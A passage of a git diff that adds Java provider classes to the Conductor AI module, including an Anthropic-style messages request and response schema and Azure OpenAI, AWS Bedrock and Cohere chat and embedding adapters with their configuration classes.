betaFeatures; + + public Builder model(String model) { + this.model = model; + return this; + } + + public Builder maxTokens(Integer maxTokens) { + this.maxTokens = maxTokens; + return this; + } + + public Builder messages(List messages) { + this.messages = messages; + return this; + } + + public Builder system(String system) { + this.system = system; + return this; + } + + public Builder temperature(Double temperature) { + this.temperature = temperature; + return this; + } + + public Builder topP(Double topP) { + this.topP = topP; + return this; + } + + public Builder topK(Integer topK) { + this.topK = topK; + return this; + } + + public Builder stopSequences(List stopSequences) { + this.stopSequences = stopSequences; + return this; + } + + public Builder tools(List tools) { + this.tools = tools; + return this; + } + + public Builder thinking(Thinking thinking) { + this.thinking = thinking; + return this; + } + + public Builder outputConfig(OutputConfig outputConfig) { + this.outputConfig = outputConfig; + return this; + } + + public Builder betaFeatures(List betaFeatures) { + this.betaFeatures = betaFeatures; + return this; + } + + public MessagesRequest build() { + return new MessagesRequest( + model, + maxTokens, + messages, + system, + temperature, + topP, + topK, + stopSequences, + tools, + thinking, + outputConfig, + betaFeatures); + } + } + } + + /** A message in the conversation. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Message( + String role, // "user" or "assistant" + Object content // String or List + ) { + + public static Message user(String text) { + return new Message("user", text); + } + + public static Message user(List blocks) { + return new Message("user", blocks); + } + + public static Message assistant(String text) { + return new Message("assistant", text); + } + + public static Message assistant(List blocks) { + return new Message("assistant", blocks); + } + } + + /** Content block within a message (request side). */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record ContentBlock( + String type, // "text", "image", "tool_use", "tool_result" + String text, + // tool_use fields + String id, + String name, + Object input, + // tool_result fields + @JsonProperty("tool_use_id") String toolUseId, + Object content, // String or nested blocks for tool_result + @JsonProperty("is_error") Boolean isError, + // image fields + Source source) { + + public static ContentBlock text(String text) { + return new ContentBlock("text", text, null, null, null, null, null, null, null); + } + + public static ContentBlock toolUse(String id, String name, Object input) { + return new ContentBlock("tool_use", null, id, name, input, null, null, null, null); + } + + public static ContentBlock toolResult(String toolUseId, String content) { + return new ContentBlock( + "tool_result", null, null, null, null, toolUseId, content, null, null); + } + + /** + * Image content block from base64-encoded data. {@code mediaType} is the image MIME type + * (e.g. {@code image/png}); {@code base64Data} is the raw base64 payload without any {@code + * data:} URI prefix. + */ + public static ContentBlock image(String mediaType, String base64Data) { + return new ContentBlock( + "image", + null, + null, + null, + null, + null, + null, + null, + new Source("base64", mediaType, base64Data)); + } + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Source( + String type, // "base64" + @JsonProperty("media_type") String mediaType, + String data) {} + } + + /** Tool definition. */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Tool( + String type, // "custom", "web_search_20250305", "code_execution_20250825" + String name, + String description, + @JsonProperty("input_schema") Map inputSchema) { + + /** Create a custom function tool. */ + public static Tool function( + String name, String description, Map inputSchema) { + return new Tool("custom", name, description, inputSchema); + } + + /** Create a web search built-in tool. */ + public static Tool webSearch() { + return new Tool("web_search_20250305", "web_search", null, null); + } + + /** Create a code execution built-in tool. */ + public static Tool codeExecution() { + return new Tool("code_execution_20250825", "code_execution", null, null); + } + } + + /** + * Thinking configuration. Two shapes: + * + *

    + *
  • {@code {"type":"enabled","budget_tokens":N}} — manual extended thinking, used by Claude + * Opus 4.5 and earlier. Deprecated on Opus 4.6 / Sonnet 4.6 and rejected with HTTP 400 by + * Opus 4.7. + *
  • {@code {"type":"adaptive"}} — adaptive thinking, where the model picks the budget and + * the caller controls depth via {@link OutputConfig#effort()}. Required on Opus 4.7; + * recommended on Opus/Sonnet 4.6. + *
+ */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record Thinking(String type, @JsonProperty("budget_tokens") Integer budgetTokens) { + + public static Thinking enabled(int budgetTokens) { + return new Thinking("enabled", budgetTokens); + } + + public static Thinking adaptive() { + return new Thinking("adaptive", null); + } + } + + /** + * Top-level {@code output_config} object. Carries the {@code effort} parameter (one of {@code + * low}, {@code medium}, {@code high}, {@code xhigh}, {@code max}) — the recommended way to + * control thinking depth and overall token spend on Claude Opus 4.6+ and Sonnet 4.6+. + */ + @JsonInclude(JsonInclude.Include.NON_NULL) + public record OutputConfig(String effort) {} + + // -- Response DTOs -- + + @JsonIgnoreProperties(ignoreUnknown = true) + public record MessagesResponse( + String id, + String type, // "message" + String role, // "assistant" + List content, + String model, + @JsonProperty("stop_reason") String stopReason, + @JsonProperty("stop_sequence") String stopSequence, + ResponseUsage usage) {} + + /** Content block in the response. */ + @JsonIgnoreProperties(ignoreUnknown = true) + public record ResponseContentBlock( + String type, // "text", "tool_use", "thinking", "web_search_tool_result", + // "code_execution_tool_result", etc. + String text, + // tool_use fields + String id, + String name, + Object input, + // thinking fields + String thinking, + String signature, + // server tool result fields (web_search, code_execution) + Object content) {} + + @JsonIgnoreProperties(ignoreUnknown = true) + public record ResponseUsage( + @JsonProperty("input_tokens") Integer inputTokens, + @JsonProperty("output_tokens") Integer outputTokens, + @JsonProperty("cache_creation_input_tokens") Integer cacheCreationInputTokens, + @JsonProperty("cache_read_input_tokens") Integer cacheReadInputTokens) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAI.java new file mode 100644 index 0000000..13d230f --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAI.java @@ -0,0 +1,173 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.azureopenai; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.providers.openai.OpenAIHttpImageModel; +import org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatModel; +import org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatOptions; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIEmbeddingsApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIImageGenApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.Tool; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +/** + * Azure OpenAI provider backed by OkHttp calls to the Azure OpenAI Responses API. + * + *

Uses the same API classes as the OpenAI provider but with Azure-specific authentication + * (api-key header) and base URL format. + */ +@Slf4j +public class AzureOpenAI implements AIModel { + + public static final String NAME = "azure_openai"; + private final AzureOpenAIConfiguration config; + + private final OpenAIResponsesApi responsesApi; + private final OpenAIEmbeddingsApi embeddingsApi; + private final OpenAIImageGenApi imageGenApi; + private final OpenAIResponsesChatModel chatModel; + private final OpenAIHttpImageModel imageModel; + + public AzureOpenAI(AzureOpenAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public AzureOpenAI(AzureOpenAIConfiguration config, OkHttpClient httpClient) { + this.config = config; + String baseUrl = toAzureV1Url(config.getBaseURL()); + + this.responsesApi = new OpenAIResponsesApi(httpClient, config.getApiKey(), baseUrl, true); + this.embeddingsApi = new OpenAIEmbeddingsApi(httpClient, config.getApiKey(), baseUrl, true); + this.imageGenApi = new OpenAIImageGenApi(httpClient, config.getApiKey(), baseUrl, true); + this.chatModel = new OpenAIResponsesChatModel(responsesApi); + this.imageModel = new OpenAIHttpImageModel(imageGenApi); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + try { + var request = + new OpenAIEmbeddingsApi.EmbeddingRequest( + embeddingGenRequest.getModel(), + embeddingGenRequest.getText(), + embeddingGenRequest.getDimensions()); + var result = embeddingsApi.createEmbeddings(request); + if (result.data() != null && !result.data().isEmpty()) { + return result.data().getFirst().embedding(); + } + return List.of(); + } catch (IOException e) { + throw new RuntimeException("Embeddings API call failed: " + e.getMessage(), e); + } + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List tools = convertTools(input); + + // Azure uses deployment name as the model + String model = input.getModel(); + + OpenAIResponsesChatOptions.OpenAIResponsesChatOptionsBuilder builder = + OpenAIResponsesChatOptions.builder() + .model(model) + .topP(input.getTopP()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .maxTokens(input.getMaxTokens()) + .stopSequences(input.getStopWords()) + .previousResponseId(input.getPreviousResponseId()) + .reasoningEffort(input.getReasoningEffort()) + .reasoningSummary(input.getReasoningSummary()) + .jsonOutput(input.isJsonOutput()) + .responsesApiTools(tools.isEmpty() ? null : tools); + + if (isReasoningModel(model)) { + builder.temperature(null); + builder.topP(null); + builder.stopSequences(null); + } + + return builder.build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + return this.imageModel; + } + + // -- Helpers -- + + private List convertTools(ChatCompletion input) { + List tools = new ArrayList<>(); + if (input.getTools() != null) { + for (ToolSpec toolSpec : input.getTools()) { + tools.add( + Tool.function( + toolSpec.getName(), + toolSpec.getDescription(), + toolSpec.getInputSchema())); + } + } + return tools; + } + + private boolean isReasoningModel(String modelName) { + if (modelName == null) { + return false; + } + String model = modelName.toLowerCase(); + return model.startsWith("o1") + || model.startsWith("o3") + || model.startsWith("o4") + || model.startsWith("gpt-5"); + } + + /** + * Converts an Azure OpenAI endpoint to the v1 URL format expected by the Responses API. Input: + * "https://resource.openai.azure.com" → Output: "https://resource.openai.azure.com/openai/v1" + */ + private static String toAzureV1Url(String baseUrl) { + if (baseUrl == null) return null; + // If already has /openai/v1, return as-is + if (baseUrl.endsWith("/openai/v1")) return baseUrl; + // Strip trailing slash + String url = baseUrl.endsWith("/") ? baseUrl.substring(0, baseUrl.length() - 1) : baseUrl; + return url + "/openai/v1"; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfiguration.java new file mode 100644 index 0000000..4863719 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfiguration.java @@ -0,0 +1,63 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.azureopenai; + +import java.time.Duration; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@NoArgsConstructor +@ConfigurationProperties(prefix = "conductor.ai.azureopenai") +@Component(value = AzureOpenAI.NAME) +public class AzureOpenAIConfiguration implements ModelConfiguration { + + private String apiKey; + private String baseURL; + private String user; + private String deploymentName; + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public AzureOpenAIConfiguration( + String apiKey, + String baseURL, + String user, + String deploymentName, + OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.user = user; + this.deploymentName = deploymentName; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + @Override + public AzureOpenAI get() { + return new AzureOpenAI(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/Bedrock.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/Bedrock.java new file mode 100644 index 0000000..2ce2b51 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/Bedrock.java @@ -0,0 +1,168 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.bedrock; + +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.springframework.ai.bedrock.converse.BedrockChatOptions; +import org.springframework.ai.bedrock.converse.BedrockProxyChatModel; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import software.amazon.awssdk.core.SdkBytes; +import software.amazon.awssdk.core.client.config.ClientOverrideConfiguration; +import software.amazon.awssdk.core.interceptor.Context; +import software.amazon.awssdk.core.interceptor.ExecutionAttributes; +import software.amazon.awssdk.core.interceptor.ExecutionInterceptor; +import software.amazon.awssdk.http.SdkHttpRequest; +import software.amazon.awssdk.regions.Region; +import software.amazon.awssdk.services.bedrockruntime.BedrockRuntimeClient; +import software.amazon.awssdk.services.bedrockruntime.model.InvokeModelRequest; +import software.amazon.awssdk.services.bedrockruntime.model.InvokeModelResponse; + +@Slf4j +public class Bedrock implements AIModel { + private static final ObjectMapper om = new ObjectMapperProvider().getObjectMapper(); + + public static final String NAME = "bedrock"; + private final BedrockConfiguration config; + + public Bedrock(BedrockConfiguration config) { + this.config = config; + } + + @Override + public String getModelProvider() { + return NAME; + } + + @SneakyThrows + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + String modelId = embeddingGenRequest.getModel(); + if (!modelId.startsWith("cohere.")) { + throw new RuntimeException("Unsupported model " + modelId); + } + var client = + BedrockRuntimeClient.builder() + .credentialsProvider(config.getAwsCredentialsProvider()) + .region(Region.of(config.getRegion())) + .build(); + Map requestMap = + getEmbeddingRequest(embeddingGenRequest.getModel(), embeddingGenRequest.getText()); + byte[] body = om.writeValueAsBytes(requestMap); + InvokeModelRequest request = + InvokeModelRequest.builder() + .modelId(modelId) + .body(SdkBytes.fromByteArray(body)) + .build(); + InvokeModelResponse response = client.invokeModel(request); + byte[] byteArray = response.body().asByteArray(); + Map> ressMap = om.readValue(byteArray, Map.class); + List> floats = (List>) ressMap.get("embeddings").get("float"); + return floats.get(0); + } + + @Override + public ChatModel getChatModel() { + var clientBuilder = + BedrockRuntimeClient.builder() + .credentialsProvider(config.getAwsCredentialsProvider()) + .region(Region.of(config.getRegion())); + + ClientOverrideConfiguration.Builder overrideBuilder = + ClientOverrideConfiguration.builder().apiCallTimeout(config.getTimeout()); + + // Add bearer token interceptor if configured + if (config.isBearerTokenConfigured()) { + overrideBuilder.addExecutionInterceptor( + new BearerTokenInterceptor(config.getBearerToken())); + } + + clientBuilder.overrideConfiguration(overrideBuilder.build()); + + var client = clientBuilder.build(); + return BedrockProxyChatModel.builder() + .credentialsProvider(config.getAwsCredentialsProvider()) + .bedrockRuntimeClient(client) + .build(); + } + + /** Execution interceptor to add bearer token authorization header. */ + private static class BearerTokenInterceptor implements ExecutionInterceptor { + private final String bearerToken; + + BearerTokenInterceptor(String bearerToken) { + this.bearerToken = bearerToken; + } + + @Override + public SdkHttpRequest modifyHttpRequest( + Context.ModifyHttpRequest context, ExecutionAttributes executionAttributes) { + return context.httpRequest().toBuilder() + .putHeader("Authorization", "Bearer " + bearerToken) + .build(); + } + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + String model = input.getModel(); + log.info("\n\nusing bedrock model: {}", model); + return BedrockChatOptions.builder() + .model(model) + .maxTokens(input.getMaxTokens()) + .topP(input.getTopP()) + .temperature(input.getTemperature()) + .toolCallbacks(getToolCallback(input)) + .stopSequences(input.getStopWords()) + .frequencyPenalty(input.getFrequencyPenalty()) + .topK(input.getTopK()) + .internalToolExecutionEnabled(false) + .presencePenalty(input.getPresencePenalty()) + .build(); + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } + + private Map getEmbeddingRequest(String modelId, String text) { + return Map.of( + "input_type", "search_document", + "embedding_types", List.of("float"), + "texts", List.of(text)); + } + + @SneakyThrows + private List extractEmbeddings(String modelId, InvokeModelResponse response) { + if (!modelId.startsWith("cohere.")) { + throw new RuntimeException("Unsupported model " + modelId); + } + byte[] byteArray = response.body().asByteArray(); + Map> ressMap = om.readValue(byteArray, Map.class); + List> floats = (List>) ressMap.get("embeddings").get("float"); + return floats.get(0); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfiguration.java new file mode 100644 index 0000000..cd7d86a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfiguration.java @@ -0,0 +1,83 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.bedrock; + +import java.time.Duration; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; +import software.amazon.awssdk.auth.credentials.AnonymousCredentialsProvider; +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.AwsCredentialsProvider; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; + +@Data +@Component +@NoArgsConstructor +@ConfigurationProperties(prefix = "conductor.ai.bedrock") +public class BedrockConfiguration implements ModelConfiguration { + + private AwsCredentialsProvider awsCredentialsProvider; + private String accessKey; + private String secretKey; + private String bearerToken; + private String region = "us-east-1"; + private Duration timeout = Duration.ofSeconds(600); + + public BedrockConfiguration( + AwsCredentialsProvider awsCredentialsProvider, + String accessKey, + String secretKey, + String bearerToken, + String region) { + this.awsCredentialsProvider = awsCredentialsProvider; + this.accessKey = accessKey; + this.secretKey = secretKey; + this.bearerToken = bearerToken; + this.region = region; + } + + @Override + public Bedrock get() { + return new Bedrock(this); + } + + @Override + public void setHttpClient(OkHttpClient httpClient) { + // Not required + } + + public AwsCredentialsProvider getAwsCredentialsProvider() { + // If bearer token is configured, return null (bearer auth handled separately) + if (isBearerTokenConfigured()) { + // Use anonymous credentials as placeholder - bearer token will be used via HTTP + // client + return AnonymousCredentialsProvider.create(); + } + return awsCredentialsProvider == null + ? StaticCredentialsProvider.create( + AwsBasicCredentials.create(getAccessKey(), getSecretKey())) + : awsCredentialsProvider; + } + + /** Check if bearer token authentication is configured. */ + public boolean isBearerTokenConfigured() { + return StringUtils.isNotBlank(bearerToken); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAI.java new file mode 100644 index 0000000..d2c8c02 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAI.java @@ -0,0 +1,132 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; +import org.springframework.web.client.RestClient; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +/** + * Cohere AI provider using native SDK (not OpenAI-compatible). Uses CohereApi, CohereChatModel, and + * CohereEmbeddingModel for proper v2 API support. + */ +@Slf4j +public class CohereAI implements AIModel { + + public static final String NAME = "cohere"; + private final CohereAIConfiguration config; + + // Cached instances + private final CohereApi cohereApi; + private final CohereChatModel chatModel; + + public CohereAI(CohereAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public CohereAI(CohereAIConfiguration config, OkHttpClient httpClient) { + this.config = config; + this.cohereApi = createCohereApi(httpClient); + this.chatModel = createChatModel(); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + CohereEmbeddingModel embeddingModel = + CohereEmbeddingModel.builder() + .cohereApi(this.cohereApi) + .defaultModel(embeddingGenRequest.getModel()) + .defaultDimensions(embeddingGenRequest.getDimensions()) + .build(); + + org.springframework.ai.embedding.EmbeddingRequest request = + new org.springframework.ai.embedding.EmbeddingRequest( + List.of(embeddingGenRequest.getText()), null); + + org.springframework.ai.embedding.EmbeddingResponse response = embeddingModel.call(request); + + if (response.getResults() != null && !response.getResults().isEmpty()) { + float[] output = response.getResults().get(0).getOutput(); + List result = new java.util.ArrayList<>(output.length); + for (float f : output) { + result.add(f); + } + return result; + } + return List.of(); + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + return CohereChatOptions.builder() + .model(input.getModel()) + .temperature(input.getTemperature()) + .topP(input.getTopP()) + .maxTokens(input.getMaxTokens()) + .stopSequences(input.getStopWords()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by Cohere"); + } + + // Initialization helpers + + private CohereApi createCohereApi(OkHttpClient httpClient) { + OkHttpClient effective = + (config.getTimeout() != null) + ? httpClient.newBuilder().readTimeout(config.getTimeout()).build() + : httpClient; + var factory = + new org.springframework.http.client.OkHttp3ClientHttpRequestFactory(effective); + CohereApi.Builder builder = + CohereApi.builder() + .apiKey(config.getApiKey()) + .restClientBuilder(RestClient.builder().requestFactory(factory)); + + if (config.getBaseURL() != null && !config.getBaseURL().isEmpty()) { + builder.baseUrl(config.getBaseURL()); + } + + return builder.build(); + } + + private CohereChatModel createChatModel() { + return CohereChatModel.builder().cohereApi(this.cohereApi).build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfiguration.java new file mode 100644 index 0000000..880c58e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfiguration.java @@ -0,0 +1,56 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.time.Duration; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.cohere") +@NoArgsConstructor +@Slf4j +public class CohereAIConfiguration implements ModelConfiguration { + + private String apiKey; + private String baseURL = "https://api.cohere.ai"; + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public CohereAIConfiguration(String apiKey, String baseURL, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + @Override + public CohereAI get() { + return httpClient != null ? new CohereAI(this, httpClient) : new CohereAI(this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModel.java new file mode 100644 index 0000000..4042c63 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModel.java @@ -0,0 +1,269 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; +import java.util.stream.Collectors; + +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ChatCompletionRequest; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ChatCompletionResponse; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ChatMessage; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ContentPart; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.metadata.ChatResponseMetadata; +import org.springframework.ai.chat.metadata.Usage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.http.ResponseEntity; +import org.springframework.util.Assert; + +/** + * Cohere Chat Model implementation following Spring AI patterns. Potential contribution to + * spring-ai project. + */ +public class CohereChatModel implements ChatModel { + + private final CohereApi cohereApi; + private final CohereChatOptions defaultOptions; + + public CohereChatModel(CohereApi cohereApi) { + this(cohereApi, CohereChatOptions.builder().build()); + } + + public CohereChatModel(CohereApi cohereApi, CohereChatOptions defaultOptions) { + Assert.notNull(cohereApi, "CohereApi must not be null"); + this.cohereApi = cohereApi; + this.defaultOptions = + defaultOptions != null ? defaultOptions : CohereChatOptions.builder().build(); + } + + public static Builder builder() { + return new Builder(); + } + + @Override + public ChatResponse call(Prompt prompt) { + ChatCompletionRequest request = createRequest(prompt); + ResponseEntity response = this.cohereApi.chat(request); + return toChatResponse(response.getBody()); + } + + @Override + public ChatOptions getDefaultOptions() { + return this.defaultOptions; + } + + private ChatCompletionRequest createRequest(Prompt prompt) { + // Merge options: prompt options override defaults + CohereChatOptions options = mergeOptions(prompt.getOptions()); + + // Convert Spring AI messages to Cohere format + List messages = + prompt.getInstructions().stream() + .map(this::toCohereMessage) + .collect(Collectors.toList()); + + return ChatCompletionRequest.builder() + .model(options.getModel()) + .messages(messages) + .temperature(options.getTemperature()) + .maxTokens(options.getMaxTokens()) + .topP(options.getTopP()) + .topK(options.getTopK()) + .frequencyPenalty(options.getFrequencyPenalty()) + .presencePenalty(options.getPresencePenalty()) + .stopSequences(options.getStopSequences()) + .stream(false) + .build(); + } + + private CohereChatOptions mergeOptions(ChatOptions promptOptions) { + if (promptOptions == null) { + return this.defaultOptions; + } + + CohereChatOptions.Builder builder = CohereChatOptions.builder(); + + // Use prompt options if available, otherwise default + builder.model( + promptOptions.getModel() != null + ? promptOptions.getModel() + : defaultOptions.getModel()); + builder.temperature( + promptOptions.getTemperature() != null + ? promptOptions.getTemperature() + : defaultOptions.getTemperature()); + builder.maxTokens( + 